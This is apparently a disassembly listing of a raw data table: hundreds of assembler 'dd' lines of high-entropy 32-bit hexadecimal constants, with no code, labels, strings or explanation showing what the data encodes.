dd 998E5C9h, 4B36AB26h, 2F4E57B8h, 546D6437h, 50BDB477h
dd 9CB4D69h, 16D36765h, 4719BD00h, 0B62F63D2h, 0F2B15064h
dd 3792C366h, 0AE17DBCCh, 0A4C87A05h, 7BA5DD4Eh, 1BFC66D8h
dd 0E06EE8C6h, 0F1A6F01Ch, 0A373824Eh, 0A2C3F1F2h, 52696C33h
dd 33D82A77h, 46EA3A74h, 0EDC8944h, 377F9A6Ah, 1860EA95h
dd 79A3F5B5h, 0F9B17694h, 0C0F8DAA5h, 32E6E0BEh, 28FFEC4Dh
dd 0F2599F6h, 197AD45Eh, 16346826h, 0FF36E9DCh, 3D9F6C89h
dd 0D166DF87h, 3C32B68h, 4A35D513h, 0B2ECF339h, 0D941A4h
dd 5620CB4Bh, 487D801Eh, 7D317B19h, 4508DFD2h, 53A3609h
dd 0F46730Ch, 9F97E176h, 98B9EB05h, 7CE8E7DAh, 0D55564F8h
dd 1E20D0E0h, 0C5188107h, 782A5103h, 0F91F0F7Fh, 9CEA8B9Ch
dd 165C866Ah, 0A5E3B480h, 57D3EAA9h, 124764E5h, 0A1F66F02h
dd 0B643ED36h, 73997EC5h, 24C3E047h, 72980D3Bh, 2A1A9E7Fh
dd 0C81DEDCEh, 2B8A000h, 89569F9Bh, 84599333h, 0A9042748h
dd 1549796Dh, 7637E1E1h, 274C7138h, 0DF64BFC6h, 4D6BEEC0h
dd 6208B2C6h, 1E12F53Bh, 0BA754129h, 0B5BF716h, 0FB7C589Ah
dd 0D2287E09h, 5C3EBD0Dh, 0E8142594h, 7685232Dh, 0E7B8A7A6h
dd 71BBA83Fh, 4391732h, 6B8452DCh, 0B880B4FAh, 706724E2h
dd 94D36628h, 0C6938105h, 57278A2Ah, 3F3E75D6h, 0BE6B59BFh
dd 8AC52006h, 0B0EF60C0h, 71FE2D39h, 6EEC4D46h, 0D8A26B5Dh
dd 0D86C638h, 0B3C852C2h, 18953A38h, 353E86CFh, 0FAAE2917h
dd 1A1C7B82h, 0EC706362h, 159E4343h, 0EB2A512Ch, 365E9735h
dd 0C4FBBA1Eh, 22CBB2EFh, 0CA1623EAh, 62299506h, 4C7647F4h
dd 7B3FB5E4h, 0FEADB574h, 84BF3D32h, 4A3D13DDh, 64ED8A5Bh
dd 397DD4F0h, 0E4D59F51h, 0DBCDC48Dh, 7628D477h, 0CFFE3158h
dd 4E07972Bh, 8680CAF4h, 144F7E99h, 603C3C2Ch, 6DB9DFF1h
dd 0C5B87A46h, 5FB4D022h, 4EB25C42h, 1B273831h, 0A134CCDFh
dd 766BEFF3h, 324652BEh, 0A6BBED54h, 8B77DBCCh, 93E94C6Dh
dd 0A6375CF5h, 4B3BABBEh, 0BFDBF13Eh, 810A943h, 468076EDh
dd 1A6DBA5Eh, 34A95186h, 0EDCC93F2h, 2BF52213h, 2E476989h
dd 8A6DF18Ah, 50C5304h, 0A409D951h, 0EB140BD5h, 81260F34h
dd 43655602h, 0F5A923E5h, 9EFB8B09h, 25A58276h, 6A42D3E5h
dd 339DA7ACh, 896826B0h, 8B7B9426h, 442C51BDh, 0C17AF3F4h
dd 0E1A8025Dh, 6647D5CAh, 0FB02B4FFh, 9B7203D1h, 17D72A23h
dd 269130F8h, 9F4786DAh, 70EBC049h, 0A65C5641h, 68B68E56h
dd 4EA60BAEh, 84699BF7h, 7D8E3C6Fh, 6C944CE7h, 1E2C22F7h
dd 803BB546h, 37D43218h, 95F20A3Ch, 84F415E8h, 6B7EA0Fh
dd 3C1C9D92h, 2E691340h, 467C370Ch, 68DFB7AEh, 5E92C5B1h
dd 8AF76535h, 171B3631h, 28D0A518h, 0A4E5B1ADh, 0C8091115h
dd 0BB396010h, 921E7353h, 5F551FB3h, 0C57905C4h, 0AA771FA6h
dd 69FBC951h, 34345A61h, 330E71DFh, 9DF56629h, 0C275F4E8h
dd 59FEA3CFh, 8F8EF923h, 0C844FAD2h, 34C2ED59h, 1FBFD8E3h
dd 0E7C1C9B1h, 6B70F316h, 0ED04E0CFh, 2DB0D705h, 3E6FB6D9h
dd 0C03212BFh, 6E8DE1A9h, 0B5249EECh, 85A5B6CEh, 0EF7BA087h
dd 0F4D2A0F1h, 0D5935B4Fh, 7A4261E7h, 9F561702h, 0D078C75Eh
dd 9A13E0C3h, 85FC5109h, 9ECD9AA2h, 0EC72D36Bh, 0F0163AD2h
dd 0F2DEBA0h, 0C5F61960h, 5660F881h, 0A962E3E4h, 52740850h
dd 29A8A92Bh, 0F92CC447h, 0AE82DB95h, 75DA6ADEh, 8EF469A2h
dd 4D58F2FEh, 309E5E03h, 82068546h, 54896C5Dh, 0AFFE27B2h
dd 0DDDB3B4Ch, 0C9BFA1E6h, 0ABC56294h, 0C2B3C121h, 0E9B2A575h
dd 2F2C9DAFh, 12004178h, 0CDB74222h, 0A0976719h, 28FA49Bh
dd 0CAC36017h, 563DAADDh, 0BE12D903h, 4CA8BFB3h, 0C3D4AC0Ah
dd 2194A6F7h, 88D0F81Ah, 6CE45B0Ah, 82F4A52Dh, 9022DB2Ch
dd 8C04C70Bh, 1BC07E83h, 9395D393h, 813DA75Ah, 641030D9h
dd 589DEF73h, 0B8D345B1h, 48ABBB7Eh, 5A8FB15Ah, 0A5B7C750h
dd 0F68C0438h, 0C6846626h, 0DF25B46Bh, 0FB4CAF66h, 39C072h
dd 0C2D9E85Fh, 710BAD2Dh, 8A7A7C8Eh, 47A7FAFFh, 37CF479Fh
dd 0D43DA834h, 3AD5B3DBh, 0C46E677Ah, 0DE5A0613h, 0C1733A45h
dd 26CD75DEh, 26C04ED9h, 0F5B72FE9h, 0B54ABD94h, 2144C140h
dd 5964750Fh, 845E74FFh, 93D79D1Fh, 0AC15A91Eh, 4E6EFACFh
dd 2A7C7F79h, 9053CAAAh, 0DC89DFEDh, 0AF3172F7h, 0E56EA64Fh
dd 8A038FEFh, 0A59BC2C9h, 971559ECh, 9EFE6E5Dh, 0B5E91078h
dd 0EF3FF64Bh, 0D546DE2Ah, 7447A302h, 2435EFB1h, 877ED185h
dd 0C743B2EAh, 0FC12FE35h, 5E8A26D7h, 0B0EB3DF3h, 0DE980A26h
dd 9B6854C5h, 0FDB60096h, 0A564D51Bh, 0A3D31F27h, 1B45EFE2h
dd 0CAE708B8h, 0A7415E90h, 0F9171649h, 7DE49063h, 0C2F9F292h
dd 0D94E0DDh, 2A173C9Eh, 0B6B835F9h, 0A4A8D85Ch, 37A2174Ah
dd 0D7842E5Fh, 8D9B9B29h, 2C7D4B7Bh, 9E55E282h, 0D8107E49h
dd 8789FAA5h, 0BF8AF4C9h, 0D90EE4A7h, 7796A8B3h, 0D655AFFFh
dd 6F3B2DC7h, 0AC3C1AC6h, 4BDD0D8Ch, 97BB1F71h, 6C0FA76Ah
dd 213A9184h, 3D4FD43Dh, 0F636954Eh, 5CE00F96h, 0AF048A37h
dd 74111356h, 2A4350F4h, 7A31C30Ah, 0CA510F67h, 23435A98h
dd 6F409DDh, 9FC147A0h, 0AFF65EA8h, 4D144807h, 0D9DFC775h
dd 3B6C8B5Eh, 87E0B731h, 5CB4DBCAh, 372FCEEDh, 8F73074Bh
dd 0EFE72DBAh, 0B784FC1Bh, 5049F0DFh, 21697E77h, 273F2E00h
dd 0A8716F21h, 9856EB46h, 5FA7AF18h, 37154774h, 0A074E9BFh
dd 69BA82E2h, 2037D7BFh, 97957BEh, 2EECF098h, 69908375h
dd 415F87F6h, 0F0870900h, 145E868Fh, 172BC441h, 6599B3C1h
dd 7BB543CCh, 9AB245EFh, 75BB7D8Ch, 60FF03C6h, 71CF3C18h
dd 12940D84h, 0BE85B990h, 1FA3E603h, 7D89035Ah, 0F83A245Ah
dd 0FE5B7B0Ah, 6953FF0Ch, 22F74A21h, 1B2B1D6Bh, 0E71D4D4Fh
dd 9E628EEFh, 2718FADDh, 0A4DC1340h, 7B5611FAh, 557738F6h
dd 2ADA4B51h, 4EF6F3B8h, 7CD9A0F3h, 0A9E770C9h, 0FE0BA93Ah
dd 0A71594EFh, 58321AD6h, 90894B86h, 0D83F5762h, 0FEBCC0C0h
dd 11138D60h, 437D9355h, 84DE4F3Ch, 0C2ECCDE1h, 0A8156A87h
dd 86333D33h, 9F7EA2ACh, 72F1BCEDh, 0A19EF4AAh, 4194FFFFh
dd 638DC9D9h, 4973C6E0h, 3E286510h, 3279D0CAh, 0FFEA5638h
dd 60BEF038h, 7DAB8F75h, 399B13AEh, 2A86EC87h, 89FA9613h
dd 3788FA13h, 0B7D8B02Ch, 0E3A0B34Eh, 9FD6FAh, 231E9869h
dd 0F767BCEh, 630DEB38h
dd 0C38ABAD5h, 4CD07FF2h, 819F1CF4h, 5F78452h, 722D828Ch
dd 717440D3h, 9C23851Ch, 0F7B0F63Dh, 0CCA4DDBEh, 4A39AD41h
dd 9856BC2Fh, 5FE64BFEh, 1BA5F6D2h, 490C1F29h, 0F8AB9AEAh
dd 1F8EF0D7h, 7968ABA2h, 9A46F3EFh, 4BBEA6B5h, 42A530EFh
dd 0B87DEABh, 0F0986C43h, 340A716Ch, 1C660888h, 25156E0Bh
dd 987B0F60h, 209D6CBBh, 2C719CBEh, 3288FC0Ah, 383AEB8h
dd 6108C0DDh, 0FA36C8D3h, 0FDB5E937h, 74696DA5h, 0E4240D3Ch
dd 0BF7731B3h, 0A2E0A8C2h, 2F243062h, 7994496Dh, 223EAB2Ah
dd 0DFD87D06h, 2D06082Ah, 7069DEFAh, 0BA38D46h, 2415E40Eh
dd 98E77A0Eh, 54C165DBh, 8ACFF2CDh, 0EE29B4EDh, 4E9C99F9h
dd 0FD5BFC16h, 574C8A89h, 0E54EFD30h, 0DA8A4A8h, 0F11E5938h
dd 4A362267h, 930D5C47h, 687337DAh, 0BF6D90EBh, 2D39B6DFh
dd 98B0CD6Ah, 7442D64Bh, 52AC5FBCh, 0BC91A390h, 15DC1132h
dd 7432DF8Eh, 47A2DF8Ch, 0B9ED4099h, 2E478E32h, 0E7BD15DCh
dd 0A0F8D1DDh, 90E525B4h, 0B9E1D261h, 0D49993FEh, 68DD78ABh
dd 0DC4947B1h, 9E17AA53h, 42E965A3h, 4F92D0AEh, 0FD624C78h
dd 0FC1792DCh, 0A45EFA13h, 7908715Ah, 0FF77A067h, 8BFAEFC0h
dd 0C2DC30DFh, 0E2801EF6h, 0E3943C68h, 7E68627h, 0AF315E7Ah
dd 4E02B9Dh, 0BE70701Eh, 634ACF1Fh, 4D22E981h, 5E21A686h
dd 0D2A2DDC6h, 0D2D0C5E2h, 0F4F0544h, 0C8089D7h, 84E533EBh
dd 22D7BD72h, 6B9FB5FAh, 0B4266069h, 12AB4BEAh, 0AB9057E7h
dd 63F6EC18h, 4EF56C49h, 7E85D804h, 819B66DFh, 9FAEFE88h
dd 6C09772Dh, 0E3BBD686h, 0F822A829h, 609EDC7Ch, 0AFF2669Ch
dd 0E5B37D75h, 0ECFD29BDh, 0C9F88B43h, 194B4A7Bh, 3537206Ah
dd 9237520Fh, 0DB3C3333h, 0AF88D4B2h, 0D842838Ch, 0FDA9A76Bh
dd 450C4760h, 0E20F833Ah, 4AD98005h, 548A409h, 0EDD95FFDh
dd 0FE90FC18h, 37790C8Fh, 73209F55h, 8ACFEE0Dh, 0C9C889F6h
dd 0A20E1D5Ch, 1FCE1D73h, 0BC8E8EDDh, 2DB6CCF1h, 9717A002h
dd 0DD0C84CAh, 536880EBh, 70E8079Eh, 0B82B398Eh, 0D9B3C91Bh
dd 389D989Bh, 0EE930FCh, 0A77B4C77h, 3E789EE1h, 0EAD559E5h
dd 0CD7855B5h, 0C7CEA96Bh, 0DE2A3347h, 0C251EB01h, 0C845F7D9h
dd 43B922BAh, 56F070CBh, 0F089EC28h, 0CE0D5EB5h, 0D3D65FEEh
dd 0E7B695AEh, 3F1DEB59h, 881ADB4h, 0F6B24C6Dh, 0B29FF017h
dd 0B6F8A835h, 4F609B8Ch, 6CD0E616h, 0E1DDBBC2h, 0B1411CBAh
dd 0F0915A94h, 4A1455D0h, 0E7E89DA1h, 0AAF3BC7Eh, 8390361Ch
dd 4FDA026h, 447A3C9Eh, 0E0A06E95h, 1D534B5h, 826D9C5Bh
dd 19774279h, 0F3DB8F0Bh, 2C01A1CAh, 0A8A31CDEh, 108F8B7Ch
dd 0EC4CD047h, 91679509h, 0F80FF2D4h, 33E8FF62h, 9F3311CFh
dd 655C57CDh, 1446A851h, 62541DA5h, 5251AAE7h, 851546F6h
dd 0BA26FC82h, 88C1900Dh, 380AEA89h, 41FAA19Bh, 9D3E6BD6h
dd 1634056Ch, 5E64036Eh, 52A4BE09h, 77C99B34h, 0F9477127h
dd 0FA10F76Bh, 0E5A59348h, 9692F606h, 0DD6998BCh, 3887289Fh
dd 0DCC3660Dh, 718D0DBCh, 0E9D3E662h, 9CCB4450h, 0E84DAD52h
dd 21AE3306h, 0B27F18B3h, 9772229h, 36B5508Dh, 2E6A1BC3h
dd 618D9F30h, 0E9A9EC0h, 0F8F3867Ch, 0CACF371h, 79691CF7h
dd 0C06C5649h, 0F41D2867h, 0AF5629D4h, 0B93CE228h, 0C6E0B333h
dd 0EADA0372h, 262F8708h, 1E4BBA89h, 0BBBA7B5Eh, 0D314046Eh
dd 683DA834h, 5E157B93h, 879D90C5h, 0CD180F51h, 0ABE60E31h
dd 44695DD5h, 0F7C1B39Dh, 0BE5365B3h, 0E20008E7h, 0DE931605h
dd 0D40B8581h, 4AFC4F34h, 6E2973FEh, 0B182F44Ch, 499577F5h
dd 0BB07D95Dh, 7BD4EE1Eh, 0C83FEC52h, 350E1BAh, 1F64257Fh
dd 93A603CBh, 0D2D845C0h, 4B9B9DCCh, 3AE5A74h, 0A545185Bh
dd 1AA918Fh, 1CA6DEDh, 0DAD83A31h, 551FD8AEh, 1F5EAFAh
dd 98F3E346h, 9D01ADB5h, 329A773Eh, 4043CA75h, 6D801AC5h
dd 16D8F55Ah, 987A378Dh, 0DF45DE5h, 0D7EF939Fh, 55D6D127h
dd 5DB3C8ACh, 4DE5285Ch, 76DA0950h, 7D09529Ch, 0EBE79704h
dd 0F66A5B75h, 417899DDh, 6636566Bh, 0C0888576h, 0D40C5DFAh
dd 0E7482B78h, 0E0E5E5FEh, 0F0DEE503h, 0C0FEBB8Ch, 55C6F368h
dd 83B9D3B9h, 54BA0FC3h, 13AEF645h, 10F58F1Ch, 3F7CE5AAh
dd 0A308363Bh, 0E1636D5Bh, 0DFCE7621h, 0DDCE73FAh, 98275C05h
dd 0E346A864h, 8F04E42h, 0CD5FDD1Ah, 41DC19F6h, 5BDDDEBBh
dd 0CA78D944h, 0D020F6DCh, 648CA1A7h, 0FBF1F961h, 96904A87h
dd 256BF1F1h, 8E085BB2h, 0FD8C8D38h, 446752Ah, 0D6637872h
dd 9C3E357Eh, 3F115105h, 0BF8BC9C3h, 0AD3DE014h, 912150CCh
dd 0B762B7BBh, 86687559h, 0A53C2E13h, 0D96D2EA1h, 3740F2DFh
dd 20F0D168h, 46FB9A3Bh, 85CDF897h, 6E01CD87h, 0A0548D1Fh
dd 5BC1052h, 65C30B4Ch, 8638521Bh, 1C0BEEBDh, 0DE954091h
dd 53A57F81h, 0B1C1FE83h, 839B2535h, 986F3096h, 2BA25652h
dd 0F221C4BAh, 9657476Ch, 0C373007Eh, 274E8E7Dh, 0D48BA60Fh
dd 598188C9h, 470363C1h, 8B37F9DEh, 22146B9Ch, 8A6AD0A4h
dd 8CE387C0h, 0D745BD34h, 9BA8CA8Bh, 3849EACDh, 0E209D5B4h
dd 771A780Dh, 1CC246A3h, 0E0F17D86h, 1F05A9D9h, 53CB663Fh
dd 0A2C50113h, 0F309BF2Dh, 7B1C27F9h, 0B364E3DCh, 9D15494Eh
dd 0DFBCF995h, 0E4A5A822h, 95715FBEh, 0B80176Dh, 711C78E6h
dd 0E0130324h, 55BC2AABh, 0D8B09186h, 6C5A8080h, 5DB4F76Ah
dd 0F2868815h, 8CB11A19h, 51F9C99Dh, 648A20DEh, 0C618E65Ah
dd 47D3A407h, 0EB322ADAh, 184F3C5Bh, 0E8650282h, 74C90494h
dd 230D4CFEh, 3E66EC6Bh, 901EBB66h, 0D0D434CAh, 0B6969402h
dd 8BE89D6Eh, 0D67E7368h, 0C70767CEh, 4C8A1AADh, 8A0C1CC2h
dd 45BF6256h, 6164936h, 12B13CDCh, 59C33795h, 0D03EB103h
dd 0BB4F5CD2h, 312F7D46h, 0B43D151Ah, 0FD25C6AAh, 4864D36Ch
dd 63387D5Bh, 2126FD93h, 0ED480B3Dh, 0AC161C40h, 4EB2BBC6h
dd 4818F1BDh, 7F5A37Bh, 0BCDE9490h, 86E38D0Bh, 994C7B07h
dd 0A598022h, 4B98ACDBh, 437FFD6Eh, 0E08C0D27h, 0EEE83A43h
dd 4978B96Ah, 0BA35BA68h, 11ADA3B6h, 433B8942h, 0D5DA41DDh
dd 19BB2F01h, 10BE3BA9h, 0B1A85849h, 9798114Dh, 0E9D16762h
dd 244351A1h, 7EFDB850h, 6816B44Fh, 0E7A5F477h, 11F282CFh
dd 65FDECDBh, 0BDA6445Ch, 62A5DC16h, 5EFA364Dh, 168DC0C0h
dd 0A30AFBACh, 981CBF75h, 34914E73h, 705137B7h, 130969BDh
dd 2E973EDBh, 17748E47h, 33D1EB77h, 0C4A2F8B8h, 9165A2C4h
dd 9C4851A9h, 0DD0AE709h, 0D8CF7B16h, 0C520BD64h, 18216DAAh
dd 999497E1h, 7E863A73h, 0E97CEE82h, 0D14CA7BDh, 9C8A2B31h
dd 0D6F94055h, 0AEA53579h, 5F5B6323h, 12128D5h, 674D002Ah
dd 0F32C6A71h, 0D4BDC828h, 0C9769106h, 7795E127h, 206AA9A2h
dd 1841CFECh, 609A7799h, 86CBB6FAh, 14CAC63Ch, 2AA7F83Eh
dd 322CB640h, 38D01A10h, 5BC18A33h, 9BEC9503h, 0AA0E0E28h
dd 4339360Dh, 8D556393h, 8CA753A6h, 2803458Eh, 51CE1970h
dd 339811Eh, 8C4A6D7Bh, 293C15D4h, 24107BB6h, 3A9B6FC4h
dd 0FA459B9Eh, 19D235D3h, 665B3646h, 7CE83074h, 0E95FAE37h
dd 0E0A225BFh, 5BDEF0ECh, 7F4F4345h, 83C4ABD0h, 0F0F54882h
dd 2174D1F0h, 0EAD02754h, 84271C0Fh, 0EE82A447h, 0AA44AFAAh
dd 4A6C7C34h, 604693BAh, 57658B87h, 0EAB59903h, 0FE98AF48h
dd 508EDAA7h, 2D6F4CE4h
dd 0FBD52CECh, 88B0537Fh, 57095AE6h, 0F99C2C0Dh, 48C055B4h
dd 0D5BDECF9h, 5317FBCAh, 0B1BEBFF3h, 0E2662697h, 0B0C491CDh
dd 5F3C135Fh, 94D409C8h, 0CFDBAC6Ah, 5216315Eh, 0DE23FB8Ah
dd 0AC829638h, 8544182Ah, 0DB9EF34h, 81BB2A4Ch, 4BA635EAh
dd 288399B2h, 0BD998704h, 0E14E5671h, 81C59C56h, 67E86172h
dd 593A6377h, 4C43019Bh, 0CDCD0BACh, 2E3B4FB2h, 731E34C7h
dd 0A8C72DB8h, 59443823h, 0A906B876h, 0A1742788h, 0EF4B1F05h
dd 0FE023EB6h, 0E641B690h, 237A937Eh, 9AFD0507h, 0FDD5D9EBh
dd 632888BEh, 6582E0Eh, 8F1126D9h, 0CB925CF9h, 0D5CBB383h
dd 0FCEC073Ah, 40DBDF5Ah, 73E4A16Ah, 0C641B3E8h, 0FE8A2C58h
dd 0F7FAB666h, 552CDA4h, 0CE7C3BB4h, 38E40291h, 0CB7A266Ah
dd 0B7B8B381h, 0DDC3FA57h, 9C6BFBE8h, 4718A0AFh, 0A0DD3B95h
dd 0D60AB95Eh, 0C5773EC7h, 84BA9E0Dh, 0AEDA075Bh, 3A407E52h
dd 0CEE596A0h, 0D994DDBCh, 70B8AAC4h, 8F5E852Bh, 251A8251h
dd 0BB2B9635h, 71EC32CEh, 0EE8E6667h, 21152F07h, 0C0D17286h
dd 3FCBE275h, 0E7F4D00h, 860377ACh, 0BC4C459Eh, 70EBB0DCh
dd 3713453Fh, 0F236EA81h, 298A54D7h, 0BCCED21Fh, 6748A2E2h
dd 0B3FA1357h, 3319CD35h, 0ACF614Fh, 9EC0BF61h, 41EC26B7h
dd 3BA7A141h, 0F25A3340h, 0B0CB123h, 297CE38h, 0BF7823B1h
dd 4A560EAFh, 1D047CB0h, 0F74B4A9h, 16D0CF79h, 7186B2F3h
dd 72E0EF70h, 32E172E5h, 4B524798h, 0C228AE72h, 0CB8D21DAh
dd 1C221595h, 0C9CC06E8h, 0D8486017h, 0C9730384h, 0B9D19946h
dd 7BB6A1EBh, 1322FFDBh, 0C0C5F4DFh, 76F16E05h, 4FC038F5h
dd 104C34E7h, 1EB77304h, 8595EDA8h, 0C7F05796h, 2A10202Bh
dd 0DDD42433h, 75541AD0h, 57D135FDh, 31452B63h, 1F7972A2h
dd 5D55CA23h, 8F76AC6Eh, 0FBE2A334h, 15368627h, 0E9AD9C2h
dd 5F5476A1h, 74FBE4F0h, 7D2137EEh, 45AB0C23h, 0F25589D8h
dd 0FCD004F4h, 363494FDh, 0FE236FAAh, 0DEBF2F52h, 183D99ADh
dd 99C9F123h, 6FB4DF50h, 56CE7E97h, 5A9A4B9Fh, 5C7063A0h
dd 0BF6CC899h, 858D882Ah, 91AA547Ch, 0FEB20EF0h, 0D3F103A3h
dd 0FE3470E2h, 0D9B56273h, 79743996h, 14667AE8h, 5B5FCF67h
dd 759DA2C4h, 0C44D4271h, 796EF0C9h, 0F3433FCDh, 0D9201051h
dd 9DE9E6C7h, 865D5095h, 540B380Bh, 0AD3F4A20h, 0FB18C21Fh
dd 3BAC3B25h, 58668F74h, 54239179h, 4A566084h, 5F70ABA7h
dd 4F4CCAC4h, 598C8177h, 34E83A8Fh, 8E481714h, 292D1744h
dd 39B7542Ch, 0BBAC5038h, 0B6AD811Bh, 0DD0F0B4Eh, 2CE41872h
dd 7F975855h, 0A84699F1h, 66D0F899h, 48AA1078h, 55BB1863h
dd 2F43BDBFh, 0C9E95E24h, 2C597D7Dh, 6608C8BEh, 0DAF61390h
dd 3820AA69h, 73234D64h, 0EE9A5E9Ch, 64F990C8h, 8E17BA47h
dd 5F098BDDh, 8CD4CCBEh, 162045BEh, 8CE34811h, 16559608h
dd 0F5E49737h, 0EB3FAEB0h, 0CBE842FCh, 0ECBEDCB8h, 0CCE10112h
dd 147873CBh, 9FBDFDE6h, 0F71568DDh, 4D72054Fh, 8BE2F817h
dd 0D3B950F2h, 44949DE7h, 0F36B936Ah, 0B4AFFB9Dh, 46C63833h
dd 910FF675h, 53999E04h, 147AF752h, 0B0551C05h, 83755584h
dd 0F6B55ED6h, 0E1A99E90h, 9BF7543h, 0DB5B04C2h, 4CE35C6Ch
dd 0D2089CDFh, 0E3DE3E9Bh, 751CAEEh, 1A70AA08h, 36CE18C9h
dd 9ECD84E1h, 3D494BDEh, 0D59537A0h, 57BF2F80h, 1F79E30Dh
dd 0E1F8BCC5h, 943EA48Ch, 0FC75EF4h, 0F34085D2h, 293B80F4h
dd 2A8A88CCh, 0F3FD0AE9h, 0CA3454F2h, 1BE09F7Ch, 274BF751h
dd 9530B135h, 1941FFDEh, 7F2273ABh, 7AFD8D64h, 0DAABFC5Eh
dd 100AC866h, 0D1A96498h, 341D8821h, 55A2E0EEh, 40773F0Fh
dd 12FFA927h, 0A38B8AEh, 98C5D5AEh, 9D59D520h, 0BEFC1B20h
dd 4A427B6h, 7A4222E4h, 29E21F70h, 1933A043h, 0EB2CCB36h
dd 0D5B90B9Fh, 0A7766589h, 3B35A60Ch, 60FAA326h, 6E66FE02h
dd 4456E132h, 65B284C4h, 0D5779403h, 1FD6074Ah, 0B8329C5Bh
dd 974474DCh, 69EE239Dh, 1CF244C1h, 8FCC26C8h, 4CC4B8F2h
dd 82F2D1DAh, 4DBD7F43h, 3686F0C5h, 0B1DCAE5Bh, 57ECD346h
dd 0F0B82738h, 0D39160Ch, 1FC381DAh, 9289C04Bh, 1E50E185h
dd 0B280D129h, 3E1F06E7h, 0BBA01CADh, 9714C4Bh, 0C7BED895h
dd 9947EC06h, 0A94370FDh, 9AADE616h, 0CFA84D58h, 8B0A2396h
dd 2106FC1Dh, 0B4CB2A2Bh, 429709ECh, 117D5BF2h, 3E6301B3h
dd 0F54BEAC4h, 0F8253869h, 0E1E5BAD4h, 27AE44B2h, 4B6FEA4Eh
dd 7F295F6Bh, 0DF68CDA3h, 7D3AFCF9h, 0C21739E9h, 0FEC19FE0h
dd 0D6B65CDFh, 56E18C5Eh, 0BA7B93h, 9C3EFF9Fh, 0E7DF1711h
dd 4EAC6Ah, 0BFFEABE4h, 0FA858991h, 7B50A6A7h, 0A785E70h
dd 8CF385D1h, 3B40675Dh, 70883E59h, 0E28B3E81h, 34BBB1D9h
dd 0A5DCD5BDh, 0A2A97EBBh, 0F5734D3Fh, 79250E6Bh, 0C37C15EAh
dd 68E7528Bh, 0E579A281h, 80B8515Ch, 0F321E314h, 0BC642EFDh
dd 0BDCC001Dh, 0C4A748AEh, 18199144h, 0D40EAAC2h, 0AB32CD9Bh
dd 1CAE996Ch, 6A4DA606h, 74DB63FBh, 613E9FDDh, 5099A47Dh
dd 417D222Ah, 439E5A34h, 0BAFDF47Ah, 0D5BC2889h, 74B44E7Eh
dd 3F5AF82Ah, 0A4BE86D7h, 16935C5Dh, 5EB587E1h, 0EBA13EC8h
dd 0C2F2CCD0h, 65DD87B3h, 0B92B1CA8h, 52B0FB58h, 0CF02926h
dd 0CE7B34AEh, 59468EB2h, 0A3A2527Fh, 70679C5Dh, 0DAF5AF3Ah
dd 89FD5F5Dh, 7D8EA422h, 3438DF58h, 0C05D34F4h, 0D1FB8924h
dd 0E4939A2Bh, 809A0173h, 0B4BE3C30h, 60F2348Ah, 3B378577h
dd 6A8CA652h, 0FF476355h, 0FCCCDED3h, 0CB5D578Bh, 169F5A70h
dd 7C0E0FE8h, 7FB80C8Bh, 5E285405h, 96DDE17Bh, 4DD5C49Ah
dd 0DCC09C93h, 0A232B8F2h, 395512A2h, 7466CC93h, 0D84E3CDEh
dd 0AB9128ECh, 109A1D3Dh, 4443A251h, 22CFBDD2h, 8492FD95h
dd 4298E49Dh, 8D910527h, 4DF66DAFh, 563F495Fh, 6E9F2C6Fh
dd 48AEE101h, 7532945h, 0C933EA7Ah, 795B884Ah, 0D488F28Bh
dd 2E3F0D64h, 6861A582h, 7A3B2917h, 38C1BD84h, 0FFC806C1h
dd 74C3BB8Fh, 0C2746889h, 0AA9AD20Ah, 76FB1F41h, 0A94C0B95h
dd 8253B558h, 8FE3345Ah, 540FE2C8h, 4311910h, 0AD422A51h
dd 78F25036h, 0B60D76BFh, 0E3104AF6h, 4F3D7CCh, 0CDA07955h
dd 0E932B520h, 93AE8ED9h, 4D29CA01h, 0DF2D64D9h, 8FB5D62Dh
dd 4E9968BDh, 2058DAAAh, 0F56B141Dh, 0E173496Fh, 569208E1h
dd 0C55EC2E7h, 0F5CDE95Dh, 0DD619469h, 73EE87A9h, 2C759F06h
dd 8B5AA054h, 0DC1CFE3Eh, 0F348ECCAh, 303B5178h, 101DC8B9h
dd 4E7D6D0Eh, 72CBEA67h, 0DBDF3B1Ch, 0AEB36F58h, 4C6CCF11h
dd 4D3CD213h, 983F707Dh, 6ADE169Ah, 9A62F6BDh, 6D53F5EAh
dd 8AD98584h, 36C958E3h, 0DBE2DD79h, 0E4497EB3h, 1C73C3D8h
dd 0CF162BE4h, 0F5D7F6A2h, 9C4A8EF6h, 61A08027h, 75BF9E13h
dd 0AA2C232Ch, 8CD4BC75h, 0B18B42FAh, 0A75E1068h, 2EDD6C76h
dd 6DFA4200h, 3C8EE7E2h, 0FBD0B26Fh, 0A2E78DBBh, 57F13471h
dd 5271726Bh, 507F1CCh, 0C57EC037h, 21A850CBh, 0C34D2F85h
dd 0E509A6DAh, 455F8CC6h, 15211D61h, 40CF8F8Dh, 7F0ECDA7h
dd 4404406Ah, 0CD378F11h, 23359858h, 67A624CBh, 27C80DC9h
dd 0E73B6065h, 0F624C2B0h, 3234FA2Ah, 0F0C4E49Eh, 3B059FA6h
dd 444DA6BCh, 3995206Ah, 0F9106456h, 5496D112h, 9D1C82C9h
dd 0FF71BCC0h, 0C9BDB87Fh, 5F2F3F42h, 3A7535DCh, 0AF0BC738h
dd 6A560651h, 0D522B6F1h
dd 3801A0EEh, 8EB5A638h, 85B2FBCFh, 2EF5A864h, 93F4B66Fh
dd 0BFD74243h, 442CCD05h, 896C6A67h, 19A1CD05h, 0D4485C76h
dd 294B7C62h, 17A5A464h, 7AB5A9B5h, 8DA62B9Fh, 7DC20D0Ch
dd 131F8BC5h, 1070891Eh, 963DA219h, 0B6BA71Eh, 82E97FF8h
dd 453E96DAh, 87E5EBD8h, 938226E5h, 0E3C4872h, 37AAFA01h
dd 2E399722h, 8B3F4391h, 0B10F4E6Bh, 13BDE47h, 7F3C0C53h
dd 0AFE27BC5h, 7862943Dh, 570BCA31h, 1C9568ADh, 9F30A7B1h
dd 5AF95728h, 0A00A42F2h, 0B6112B48h, 0EBDAE956h, 0C25B4D40h
dd 0D96A8965h, 4810E66Dh, 5FC43C07h, 23F62097h, 6CAEA5FFh
dd 0E5EEF58Bh, 591D5866h, 88A6D47Ch, 3BD481ADh, 0E71B6D08h
dd 3B21270Ah, 6CF3F01Bh, 1D148DD3h, 0BEC8DB09h, 164B165Bh
dd 0BA9DACDAh, 24DCC96Fh, 9F88DBD7h, 2A7107DCh, 4C5AA86h
dd 218A4B08h, 6F80546Ch, 12AA275Dh, 5D4934F4h, 0F0491441h
dd 0A3300153h, 8349B348h, 0EB2EFAD2h, 0E6C7CF45h, 9C1535FFh
